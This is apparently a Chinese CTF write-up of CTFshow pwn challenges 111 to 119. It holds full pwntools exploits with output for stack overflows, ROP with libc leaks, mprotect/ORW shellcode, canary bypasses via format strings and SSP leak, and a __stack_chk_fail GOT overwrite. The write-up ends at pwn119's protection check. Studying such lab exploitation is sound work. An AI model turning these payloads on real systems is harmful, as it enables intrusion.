pwn111 Hint:没难度 检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
64位仅开启NX保护
IDA直接查看漏洞函数:
int __fastcall main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); logo(); ctfshow(); return 0 ; } ssize_t ctfshow () { _BYTE buf[128 ]; write(1 , "Input your message:\n" , 0x14u ); read(0 , buf, 0x100u ); return write(1 , "I have received your message, Thank you!\n" , 0x29u ); }
明显的栈溢出漏洞,观察到还有后⻔函数:
__int64 do_global () { __int64 result; _BYTE buf[9 ]; unsigned int v2; FILE *stream; stream = fopen("/ctfshow_flag" , "r" ); while ( 1 ) { v2 = fgetc(stream); buf[0 ] = v2; result = v2; if ( (_BYTE)v2 == 0xFF ) break ; write(1 , buf, 1u ); } return result; }
那么简单了,只需要栈溢出,将返回地址覆盖成这个函数的地址就可以拿到flag了。
from pwn import *context(arch='amd64' ,os='linux' ,log_level = 'debug' ) io = process('./pwn' ) elf=ELF('./pwn' ) flag=elf.sym['_do_global' ] payload = cyclic(0x80 +8 ) + p64(flag) io.sendline(payload) io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 47 [*] '/CTFshow_pwn/pwn' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanism_Bypass * Site : https://ctf.show/ * Hint : No RELRO,Try pwn it! * ************************************* Input your message: I have received your message, Thank you! flag{just_test_my_process} [*] Got EOF while reading in interactive
pwn112 Hint:满足一定条件即可 检查保护:
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
32位保护全开,其中部分开启RELRO
IDA查看漏洞函数:
int __cdecl main (int argc, const char **argv, const char **envp) { init(); logo(); ctfshow(); return 0 ; } int ctfshow () { n17 = 0 ; init(); puts ("What's your name?" ); __isoc99_scanf("%s" , var); if ( n17 ) { if ( n17 == 17 ) return register_tm(); else return printf ( "something wrong! val is %d" , var[0 ], var[1 ], var[2 ], var[3 ], var[4 ], var[5 ], var[6 ], var[7 ], var[8 ], var[9 ], var[10 ], var[11 ], var[12 ], n17); } else { printf ("%s, Welcome!\n" , var); return puts ("Try doing something~" ); } }
细⼼观察其实就发现还是存在后⻔函数:
int register_tm () { return sub_400470(); } unsigned int sub_400470 () { return do_global(); } unsigned int do_global () { FILE *stream; _BYTE buf[9 ]; unsigned int v3; v3 = __readgsdword(0x14u ); stream = fopen("/ctfshow_flag" , "r" ); while ( 1 ) { buf[0 ] = fgetc(stream); if ( buf[0 ] == 0xFF ) break ; write(1 , buf, 1u ); } return __readgsdword(0x14u ) ^ v3; }
那么让n17 = 0x11 也就是⼗进制的17即可执⾏到后⻔函数了。
即直接将n17覆盖成17即可
.bss:00003060 ; _DWORD var[13] .bss:00003060 var dd 0Dh dup(?)
dd 0Dh dup(?) 表示 var 是一个由 13 个DWORD(4 字节整数)组成的数组:
dd 对应 C 语言的int(4 字节);
0Dh 是十六进制的 13,dup(?) 表示重复 13 次,因此总大小为 13 × 4 = 52字节。
from pwn import *context.log_level='debug' io = process('./pwn' ) payload = p32(17 ) * 0xE io.recv() io.sendline(payload) io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 67 [*] Switching to interactive mode [*] Process './pwn' stopped with exit code 0 (pid 67) flag{just_test_my_process} [*] Got EOF while reading in interactive
pwn113(libc6_2.27-0ubuntu2_amd64,libc6_2.27-3ubuntu1_amd64,libc6_2.27-0ubuntu3_amd64)[64位mprotect,还得练] Hint:理清逻辑,题目不难。 检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
64位程序完全开启RELRO保护,开启NX保护
IDA查看main函数:
int __fastcall main (int argc, const char **argv, const char **envp) { __int64 v3; _BYTE v5[1032 ]; __int64 v6; char n10; __int64 v8; is_detail = 0 ; go(argc, argv, envp); logo(); fwrite(">> " , 1u , 3u , _bss_start); fflush(_bss_start); v8 = 0 ; while ( !feof(stdin ) ) { n10 = fgetc(stdin ); if ( n10 == 10 ) break ; v3 = v8++; v6 = v3; v5[v3] = n10; } v5[v8] = 0 ; if ( (unsigned int )init(v5) ) { qsort(files, size_of_path, 0x200u , cmp); search_file_info(); } else { fflush(_bss_start); set_secommp(); } return 0 ; }
feof函数的作用就是判断文件流的结束符 。
没有接受到结束符时就一直执行while循环,然后接受用户的输入。
payload = b'a' * 0x418 + p8(0x28 ) ''' 填充v5,v6,n10,v8; 修改 v8 的第一个字节为 0x28 v8 是记录输入长度的变量,程序会在 v5[v8] 处添加 null 终止符。 当 v8 被改为 0x28 后,v5[0x28] 会被设为 0,导致用户输入的路径被截断为 40 字节(前 40 字节有效,后续内容被忽略)。 v8 是 8 字节变量,但我们只需要修改它的低字节就能达到目的[p8()] 这个是调试出来的【下次补】 '''
跟进init():
__int64 __fastcall init (char *path) { __int64 n0x4000; char *v2; struct stat stat_buf ; char ptr[256 ]; char *src; _BYTE *v6; size_of_path = 0 ; if ( (unsigned int )stat(path, &stat_buf) == -1 ) { strcpy (ptr, "Can't get the information of the given path.\n" ); fwrite(ptr, 1u , 0x2Eu , _bss_start); return 0 ; } else if ( (stat_buf.st_mode & 0xF000 ) == 0x8000 ) { size_of_path = 1 ; src = __xpg_basename(path); strcpy (files, src); strcpy (dest, path); return 1 ; } else { n0x4000 = stat_buf.st_mode & 0xF000 ; if ( (_DWORD)n0x4000 == 0x4000 ) { if ( path[strlen (path) - 1 ] != 47 ) { v2 = &path[strlen (path)]; v6 = v2 + 1 ; *v2 = 47 ; *v6 = 0 ; } get_dir_detail(path); return 1 ; } } return n0x4000; }
逻辑看起来不明所以可能
注意到程序还开启了沙箱set_secommp():
int set_secommp () { __int64 v0; __int64 v1; __int64 v2; __int16 n8; __int16 *p_n32; __int16 n32; char v7; char v8; int n4; __int16 n21; char v11; char n5; int v13; __int16 n32_1; char v15; char v16; int v17; __int16 n53; char v19; char v20; int n0x40000000; __int16 n21_1; char v23; char n2; int v25; __int16 n21_2; char v27; char v28; int n59; __int16 n6; char v31; char v32; int n2147418112; __int16 n6_1; char v35; char v36; int v37; prctl(38 , 1 , 0 , 0 , 0 ); n32 = 32 ; v7 = 0 ; v8 = 0 ; n4 = 4 ; n21 = 21 ; v11 = 0 ; n5 = 5 ; v13 = -1073741762 ; n32_1 = 32 ; v15 = 0 ; v16 = 0 ; v17 = 0 ; n53 = 53 ; v19 = 0 ; v20 = 1 ; n0x40000000 = 0x40000000 ; n21_1 = 21 ; v23 = 0 ; n2 = 2 ; v25 = -1 ; n21_2 = 21 ; v27 = 1 ; v28 = 0 ; n59 = 59 ; n6 = 6 ; v31 = 0 ; v32 = 0 ; n2147418112 = 2147418112 ; n6_1 = 6 ; v35 = 0 ; v36 = 0 ; v37 = 0 ; n8 = 8 ; p_n32 = &n32; return prctl(22 , 2 , &n8, v0, v1, v2); }
程序的关键就是看各个函数以及了解⼀些结构体,如果对这些毫不了解,那么简单尝试运⾏程序:
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanism_Bypass * Site : https://ctf.show/ * Hint : Clear thinking * ************************************* >> aaaa Can't get the information of the given path.
随便输⼊,然后回显⼀个:Can’t get the information of the given path.(⽆法获取给定路径的信
息。)
那么尝试给定⼀个路径试试 尝试根⽬录(/):
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanism_Bypass * Site : https://ctf.show/ * Hint : Clear thinking * ************************************* >> / drwxr-xr-x 1 root root 4096 Wed Aug 20 07:43:27 2025 bin drwxr-xr-x 2 root root 4096 Sat Jun 7 12:53:10 2025 bin.usr-is-merged drwxr-xr-x 2 root root 4096 Sat Jun 7 11:55:23 2025 boot -rw-r--r-- 1 root root 17 Thu Jul 17 07:52:36 2025 canary.txt -rw-r--r-- 1 root root 27 Thu Aug 21 01:08:03 2025 ctfshow_flag drwxrwxr-x 4 ubuntu ubuntu 4096 Thu Aug 21 01:49:20 2025 CTFshow_pwn drwxr-xr-x 5 root root 340 Thu Aug 21 00:58:32 2025 dev drwxr-xr-x 1 root root 4096 Wed Jul 9 13:08:44 2025 etc drwxr-xr-x 1 root root 4096 Wed Jul 9 13:07:01 2025 home drwxr-xr-x 1 root root 4096 Mon Jul 21 15:50:54 2025 lib drwxr-xr-x 2 root root 4096 Sat Jun 7 12:53:10 2025 lib.usr-is-merged drwxr-xr-x 1 root root 4096 Sat Jun 7 12:35:20 2025 lib32 drwxr-xr-x 2 root root 4096 Sat Jun 7 11:55:23 2025 lib64 drwxr-xr-x 3 root root 4096 Sat Jun 7 12:33:06 2025 libx32 drwxr-xr-x 2 root root 4096 Sat Jun 7 11:55:23 2025 media drwxr-xr-x 2 root root 4096 Sat Jun 7 11:55:23 2025 mnt drwxr-xr-x 2 root root 4096 Sat Jun 7 11:55:23 2025 opt -rw-r--r-- 1 root root 34 Thu Jul 17 07:42:43 2025 password.txt drwxr-xr-x 1 ubuntu ubuntu 4096 Sat Jun 7 12:53:10 2025 pip_venv dr-xr-xr-x 416 root root 0 Thu Aug 21 00:58:32 2025 proc drwxr-xr-x 1 ubuntu ubuntu 4096 Tue Aug 19 10:48:00 2025 pwndbg drwx------ 1 root root 4096 Sat Jun 7 12:53:11 2025 root drwxr-xr-x 1 root root 4096 Wed Jul 9 13:07:01 2025 run drwxr-xr-x 1 root root 4096 Sat Jun 7 12:53:11 2025 sbin drwxr-xr-x 2 root root 4096 Sat Jun 7 11:55:23 2025 srv dr-xr-xr-x 13 root root 0 Thu Aug 21 00:58:32 2025 sys drwxrwxrwx 1 root root 516096 Wed Jul 9 13:07:07 2025 tmp drwxr-xr-x 1 root root 4096 Wed Jul 9 13:07:02 2025 usr drwxr-xr-x 1 root root 4096 Wed Jul 9 13:07:01 2025 var
发现能够看到给定路径下的⽂件
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanism_Bypass * Site : https://ctf.show/ * Hint : Clear thinking * ************************************* >> /ctfshow_flag -rw-r--r-- 1 root root 27 Thu Aug 21 01:08:03 2025 ctfshow_flag
但是仅仅能看到⽂件信息,并不能获取到⽂件内容。[此时为本地运⾏],⾄此,我们⼤概了解了这个程
序的作⽤。
回到函数:
int __fastcall stat (char *filename, struct stat *stat_buf) { return __xstat(1 , filename, stat_buf); }
这个函数能获取⽂件的各种属性
else if ( (stat_buf.st_mode & 0xF000) == 0x8000 ) { size_of_path = 1; src = __xpg_basename(path); strcpy(files, src); strcpy(dest, path); return 1; } else { n0x4000 = stat_buf.st_mode & 0xF000; if ( (_DWORD)n0x4000 == 0x4000 ) { if ( path[strlen(path) - 1] != 47 ) { v2 = &path[strlen(path)]; v6 = v2 + 1; *v2 = 47; *v6 = 0; } get_dir_detail(path); return 1; } } return n0x4000;
__xstat返回的其实是⽂件的stat结构体,⾥⾯会记录⽂件的类型和权限。⽤结构体⾥⾯的mode出来进
⾏判断。
程序中有⼀个判断,当我们输⼊的⽂件路径有问题,它就会返回0,然后进⼊沙箱中,那么我们就可以
任意输⼊,使其出错进⼊沙箱进⾏沙箱ROP,还是⾮常简单的。
先泄漏地址,再通过mprotect函数修改权限然后orw进⾏读flag,flag名称我们可以在远程连接的时候
输⼊路径即可看到flag⽂件格式,详细过程这⾥不再概述⻅exp。
漏洞分析:
栈溢出点 :main函数中对用户输入的处理存在栈溢出。输入数据存储在v5数组(大小为0x408字节),其位于栈上的地址为[rbp-0x420]。超过0x420字节的输入会覆盖rbp及返回地址,导致控制流劫持。
进入沙箱条件 :当输入的路径无效时,init函数返回0,程序会调用set_secommp()开启沙箱。此时可利用溢出控制返回地址,执行 ROP。
沙箱与目标 :沙箱限制了系统调用,但允许open、read、write等基础 I/O 操作(可通过程序行为推断)。目标是通过 ROP 构造open->read->write(ORW)链,读取/ctfshow_flag。
$ ROPgadget --binary ./pwn | grep "pop rdi ; ret" 0x0000000000401ba3 : pop rdi ; ret $ ROPgadget --binary ./pwn | grep "ret" 0x0000000000400640 : ret $ ROPgadget --binary ./libc6_2.27-3ubuntu1_amd64.so --only "pop|ret" | grep "rsi" 0x0000000000023e6a : pop rsi ; ret $ ROPgadget --binary ./libc6_2.27-3ubuntu1_amd64.so --only "pop|ret" | grep "rdx" 0x0000000000001b96 : pop rdx ; ret
from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF("./libc-database/db/libc6_2.27-3ubuntu1_amd64.so" ) main = elf.sym['main' ] puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] pop_rdi = 0x401ba3 payload = b'a' * 0x418 + p8(0x28 ) payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) payload += p64(main) io.sendlineafter(b'>> ' , payload) puts = u64(io.recvuntil(b'\x7f' )[-6 :] + b'\x00\x00' ) print (hex (puts))libc_base = puts - libc.symbols['puts' ] print (hex (libc_base))payload = b'a' * 0x418 + p8(0x28 ) payload += p64(pop_rdi) + p64(elf.bss()) payload += p64(libc_base + libc.sym['gets' ]) payload += p64(pop_rdi) + p64(elf.bss() & 0xfffffffffffff000 ) payload += p64(libc_base + 0x23e6a ) + p64(0x1000 ) payload += p64(libc_base + 0x1b96 ) payload += p64(7 ) + p64(libc_base + libc.sym['mprotect' ]) payload += p64(elf.bss()) io.sendlineafter(b'>> ' , payload) shellcode = asm(''' mov rax, 0x67616c662f2e push rax mov rdi, rsp xor esi, esi mov eax, 2 syscall cmp eax, 0 jg next push 1 mov edi, 1 mov rsi, rsp mov edx, 4 mov eax, edi syscall jmp exit next: mov edi, eax mov rsi, rsp mov edx, 0x100 xor eax, eax syscall mov edx, eax mov edi, 1 mov rsi, rsp mov eax, edi syscall exit: xor edi, edi mov eax, 231 syscall ''' )io.sendline(shellcode) io.interactive()
from pwn import *from LibcSearcher import *context(log_level='debug' ,arch='amd64' , os='linux' ) io = remote("pwn.challenge.ctf.show" ,28240 ) elf = ELF('./pwn' ) ret = 0x400640 pop_rdi_ret = 0x401ba3 puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main_ret = elf.sym['main' ] data = 0x603000 io.recvuntil(b">> " ) payload = b"A" *0x418 + p8(0x28 ) + p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_ret) io.sendline(payload) puts_addr = u64(io.recvuntil(b"\x7f" )[-6 :].ljust(8 ,b"\x00" )) libc = LibcSearcher("puts" ,puts_addr) libc_base = puts_addr-libc.dump('puts' ) mprotect_addr = libc_base+libc.dump("mprotect" ) pop_rdx = libc_base+0x1b96 pop_rsi = libc_base+0x23e6a gets_addr = libc_base+libc.dump("gets" ) print ("libc_base:" ,hex (libc_base))io.recvuntil(b">> " ) payload = b"A" *0x418 +p8(0x28 )+p64(pop_rdi_ret)+ p64(data) payload += p64(gets_addr)+p64(pop_rdi_ret)+p64(data) payload += p64(pop_rsi)+p64(0x1000 )+p64(pop_rdx) payload += p64(7 )+p64(mprotect_addr)+ p64(data) io.sendline(payload) getflag = asm(shellcraft.cat("/flag" )) io.sendline(getflag) io.interactive()
sh = ''' mov rax, 0x67616c662f2e ; rax = 0x67616c662f2e(对应字符串"./flag"的ASCII码) push rax ; 将路径压入栈(作为open的参数) mov rdi, rsp ; rdi = 栈地址(路径字符串) xor esi, esi ; esi = 0(O_RDONLY模式) mov eax, 2 ; eax = 2(syscall号:open) syscall ; 调用open("./flag", O_RDONLY) cmp eax, 0 ; 检查是否打开成功(eax为文件描述符,>0成功) jg next ; 成功则跳至next push 1 ; 失败则准备输出"1" mov edi, 1 ; edi = 1(stdout) mov rsi, rsp ; rsi = 栈地址("1"的地址) mov edx, 4 ; edx = 4(输出长度) mov eax, edi ; eax = 1(syscall号:write) syscall jmp exit ; 退出 next: mov edi, eax ; edi = 文件描述符 mov rsi, rsp ; rsi = 栈地址(用于存储读取内容) mov edx, 0x100 ; edx = 0x100(读取长度) xor eax, eax ; eax = 0(syscall号:read) syscall ; 读取文件内容到栈 mov edx, eax ; edx = 实际读取长度 mov edi, 1 ; edi = 1(stdout) mov rsi, rsp ; rsi = 栈地址(读取到的内容) mov eax, edi ; eax = 1(syscall号:write) syscall ; 输出文件内容 exit: xor edi, edi ; edi = 0(退出码) mov eax, 231 ; eax = 231(syscall号:exit) syscall ; 退出程序 ''' sh = '' sh += shellcraft.open ('/flag' ) sh += shellcraft.read(3 ,'rsp' ,0x100 ) sh += shellcraft.write(1 ,'rsp' ,0x100 ) shellcode = asm(sh) sh = shellcraft.cat("/flag" ) shellcode = asm(sh) '''shellcraft.cat(path)是shellcraft提供的高层封装函数,直接实现 “读取文件并输出内容” 的完整功能(类似 Linux 的cat命令)。其内部自动完成: - 打开/flag文件; - 循环读取文件内容到缓冲区; - 将缓冲区内容写入标准输出(stdout); - 关闭文件并退出。''' sh = shellcraft.readfile("/flag" ,2 ) shellcode = asm(sh) '''shellcraft.readfile(path, fd)也是shellcraft的高层函数,功能是 “读取path文件的内容,并写入到文件描述符fd”。其中: 第一个参数"/flag"是目标文件路径; 第二个参数2是目标文件描述符(2对应标准错误 stderr,通常应该用1表示标准输出 stdout,这里可能是笔误)。 '''
$ python3 exp.py [+] Opening connection to pwn.challenge.ctf.show on port 28240: Done [*] '/CTFshow_pwn/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No [+] There are multiple libc that meet current constraints : 0 - libc6_2.27-0ubuntu2_amd64 1 - libc-2.36-22.mga9.i586 2 - libc6_2.19-0ubuntu6.5_amd64 3 - libc6_2.27-3ubuntu1_amd64 4 - libc-2.36-33.mga9.i586 5 - libc6_2.37-0ubuntu1_amd64 6 - libc6_2.27-0ubuntu3_amd64 7 - libc-2.32-6.fc33.i686 8 - libc-2.32-8.fc33.i686 9 - libc-2.32-7.fc33.i686 [+] Choose one : 0 libc_base: 0x7f378bba4000 [*] Switching to interactive mode Can't get the information of the given path. \x00ctfshow{6f46de02-1282-4af2-8737-9a62a000944b}
pwn114 Hint:现在你应该学会了吧 检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No
还是64位保护全开
IDA查看main函数:
int __fastcall main (int argc, const char **argv, const char **envp) { char s1[10 ]; char s[1004 ]; int char ; init(argc, argv, envp); logo(); signal(11 , sigsegv_handler); flagishere(); while ( 1 ) { puts ("Do you know Canary now?" ); puts ("Input 'Yes' or 'No': " ); __isoc99_scanf("%s" , s1); if ( !strcmp (s1, "Yes" ) ) break ; if ( !strcmp (s1, "No" ) ) { puts ("I'm sorry to hear that! Come on." ); return 0 ; } puts ("Invalid input, please enter again!" ); } puts ("Ok,I know you got it!" ); puts ("Tell me you want: " ); do char = getchar(); while ( char != 10 && char != -1 ); fgets(s, 1000 , stdin ); ctfshow(s); return 0 ; }
跟进ctfshow():
char *__fastcall ctfshow (const char *p_s) { char dest[256 ]; return strcpy (dest, p_s); }
存在后⻔函数:
char *flagishere () { FILE *stream; stream = fopen("/ctfshow_flag" , "r" ); if ( !stream ) { puts ("/ctfshow_flag: No such file or directory." ); exit (0 ); } return fgets(flag, 64 , stream); }
关键函数:
main函数:接收用户输入 “Yes” 后,通过fgets读取最多 1000 字节到s,再调用ctfshow(s)。
ctfshow函数:使用strcpy将s复制到 256 字节的dest数组中,存在栈溢出漏洞 (strcpy不检查长度,输入超过 256 字节会溢出)。
flagishere函数:已提前读取/ctfshow_flag内容到全局变量flag中,只需泄露flag变量即可获取 flag。
甚⾄都不需要写exp
$ cyclic 256 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac $ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanism_Bypass * Site : https://ctf.show/ * Hint : No Canary, I think you should have learned! * ************************************* Do you know Canary now? Input 'Yes' or 'No' : Yes Ok,I know you got it! Tell me you want: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac flag{just_test_my_process}
from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = process('./pwn' ) io.sendline("Yes" ) payload = cyclic(0x100 ) io.sendline(payload) io.interactive()
pwn115 Hint:Bypass Canary 姿势1 检查保护:
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32位开启了Canary保护与NX保护,部分开启RELRO保护
IDA查看main函数,直接跟进ctfshow函数:
int __cdecl main (int argc, const char **argv, const char **envp) { init(&argc); logo(); puts ("Try Bypass Me!" ); ctfshow(); return 0 ; } unsigned int ctfshow () { int i; char buf[200 ]; unsigned int v3; v3 = __readgsdword(0x14u ); for ( i = 0 ; i <= 1 ; ++i ) { read(0 , buf, 0x200u ); printf (buf); } return __readgsdword(0x14u ) ^ v3; }
明显的溢出漏洞还有格式化字符串漏洞,还观察到存在后⻔函数:
int backdoor () { return system("/bin/sh" ); }
由于开启了Canary保护,我们⾸先得泄漏出Canary的值,然后再利⽤backdoor函数进⾏get shell
(⽅式不唯⼀)
from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = process('./pwn' ) elf = ELF('./pwn' ) backdoor = elf.sym['backdoor' ] payload = b'a' *200 io.sendlineafter(b"Try Bypass Me!\n" , payload) io.recvuntil(b'a' *200 ) Canary = u32(io.recv(4 )) -0xa print (hex (Canary))payload = b"\x90" *200 + p32(Canary) + b"\x90" *0xc + p32(backdoor) io.send(payload) io.recv() io.recv() io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 619 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No 0x63fc1200 [*] Switching to interactive mode $ ls ctfshow_flag
pwn116 Hint:Bypass Canary 姿势2 检查保护:
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32位开启了Canary保护与NX保护,部分开启RELRO保护
IDA查看ctfshow函数:
int __cdecl main (int argc, const char **argv, const char **envp) { init(); logo(); ctfshow(); return 0 ; } unsigned int ctfshow () { char buf[32 ]; unsigned int v2; v2 = __readgsdword(0x14u ); puts ("Look me & use me!" ); read(0 , buf, 0x50u ); printf (buf); read(0 , buf, 0x50u ); return __readgsdword(0x14u ) ^ v2; }
同样的存在溢出漏洞跟格式化字符串漏洞,且存在后⻔函数:
int qwerasd () { return system("/bin/sh" ); }
这次我们利⽤格式化字符串漏洞去泄漏Canary的值来进⾏绕过。
格式化字符串漏洞可以打印出栈中的内容,因此利⽤此漏洞可以打印出canary的值,再进⾏栈溢出。printf 函数直接打印了 read 读取的⽤⼾输⼊的内容,因此我们可以通过输⼊特殊的payload来利⽤printf泄露栈中的内容。
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanism_Bypass * Site : https://ctf.show/ * Hint : Using formatted strings to leak ! * ************************************* Look me & use me! AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p AAAA.0xff8693bc.0x50.0x8048603.0xff8693e8.0xf7151bb0.0xf71238ac.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70
格式化字符串自身的偏移(第 7 个参数)
unsigned int v2; v2 = __readgsdword(0x14u );
Canary 相对于格式化字符串的偏移0x20/4=8
所以 Canary:7(基准偏移) + 8(buf占用的栈单位数) = 15
from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) io = process('./pwn' ) elf = ELF('./pwn' ) backdoor = 0x8048586 io.recvuntil(b"Look me & use me!" ) payload = b'%15$8x' io.sendline(payload) io.recv() canary = int (io.recv(8 ),16 ) print (b'canary:' + hex (canary))payload = b'a' * 32 + p32(canary) + b'a' * 0xc + p32(backdoor) io.sendline(payload) io.recv() io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 682 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No canary:0x8952fa00 [*] Switching to interactive mode $ ls ctfshow_flag
pwn117【试一下远程,覆盖__libc_argv[0]】(SSP Leak有版本限制最好小于libc2.23) Hint:Bypass Canary 姿势3 原理:由于canary检测篡改后会调用stack_chk_fail函数,其中一个参数是文件名,即“__libc_argv[0]”,将此覆盖就能输出特定内容。
检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
64位开启了Canary保护与NX保护,部分开启RELRO保护
IDA查看main函数:
int __fastcall main (int argc, const char **argv, const char **envp) { int fd; _BYTE v5[264 ]; unsigned __int64 v6; v6 = __readfsqword(0x28u ); logo(); init(); fd = open("/flag" , 0 ); if ( !fd ) { puts ("No such file or directory." ); exit (-1 ); } read(fd, &buf, 0x100u ); puts ("Haha,It has reduced you a lot of difficulty!" ); gets(v5); return 0 ; }
.bss:00000000006020A0 public buf .bss:00000000006020A0 buf db ? ; ; DATA XREF: main+88↑o
void __fortify_fail(const char *msg) { __libc_message(2 , "*** %s ***: %s terminated\n" , msg, __libc_argv[0 ]); abort (); }
可以看到程序先以及读取了/flag⽂件,然后可以看到buf在bss段,gets(v5)明显的栈溢出漏洞canary检测失败时会调⽤stack_chk_fail函数,输出⼀段报错,报错会输出⽂件名,覆盖⽂件名指针,从⽽实现任意读,也就是覆盖变量__libc_argv[0]
这样我们就可以在canary检测失败时,输出我们想要的flag值:
from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = process('./pwn' ) io.recvuntil(b'aha,It has reduced you a lot of difficulty!' ) payload = b'a' * 504 + p64(0x6020A0 ) io.sendline(payload) io.interactive() from pwn import *context(arch='amd64' , os='linux' ,log_level='info' ) flag = 0x6020A0 def pwn (i ): print (i) io.recvuntil('Haha,It has reduced you a lot of difficulty!' ) payload = cyclic(i) + p64(flag) io.sendline(payload) print (io.recvall()) io.close() for i in range (280 ,504 ) io = remote('pwn.challenge.ctf.show' ,28214 ) pwn(i) sleep(0.1 )
pwn118(劫持___stack_chk_fail函数绕过canary) Hint:Bypass Canary 姿势4 检查保护:
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32位开启Canary与NX保护
IDA查看main函数,跟进ctfshow函数:
int __cdecl main (int argc, const char **argv, const char **envp) { init(&argc); logo(); puts ("Nice to meet you" ); ctfshow(); return 0 ; } unsigned int ctfshow () { char buf[80 ]; unsigned int v2; v2 = __readgsdword(0x14u ); read(0 , buf, 0xA0u ); printf (buf); return __readgsdword(0x14u ) ^ v2; }
还是明显的栈溢出漏洞跟格式化字符串漏洞,这次我们再换⼀种⽅式进⾏绕过
我们还是发现存在后⻔函数:
int get_flag () { return system("cat /ctfshow_flag" ); }
这次我们劫持__stack_chk_fail函数,由于这⾥存在后⻔函数能直接获取flag,那么我们只需要将其改
写为get_flag函数的地址就可以了。
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanism_Bypass * Site : https://ctf.show/ * Hint : Turned on Canary, simply bypass it! * ************************************* Nice to meet you AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p AAAA.0xffb77aac.0xa0.0x8048719.0x46.0xe8929d40.0xffb77ae8.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70
偏移量7
from pwn import *context.log_level = 'debug' io = process('./pwn' ) elf = ELF('./pwn' ) stack_chk_fail_got = elf.got['__stack_chk_fail' ] getflag = elf.sym['get_flag' ] payload = fmtstr_payload(7 ,{stack_chk_fail_got:getflag}) payload = payload.ljust(80 ,'a' ) io.sendline(payload) io.recv() io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 101 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No [*] Switching to interactive mode flag{just_test_my_process} [*] Got EOF while reading in interactive
pwn119(fork+puts来泄露canary) Hint:Bypass Canary 姿势5 检查保护:
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
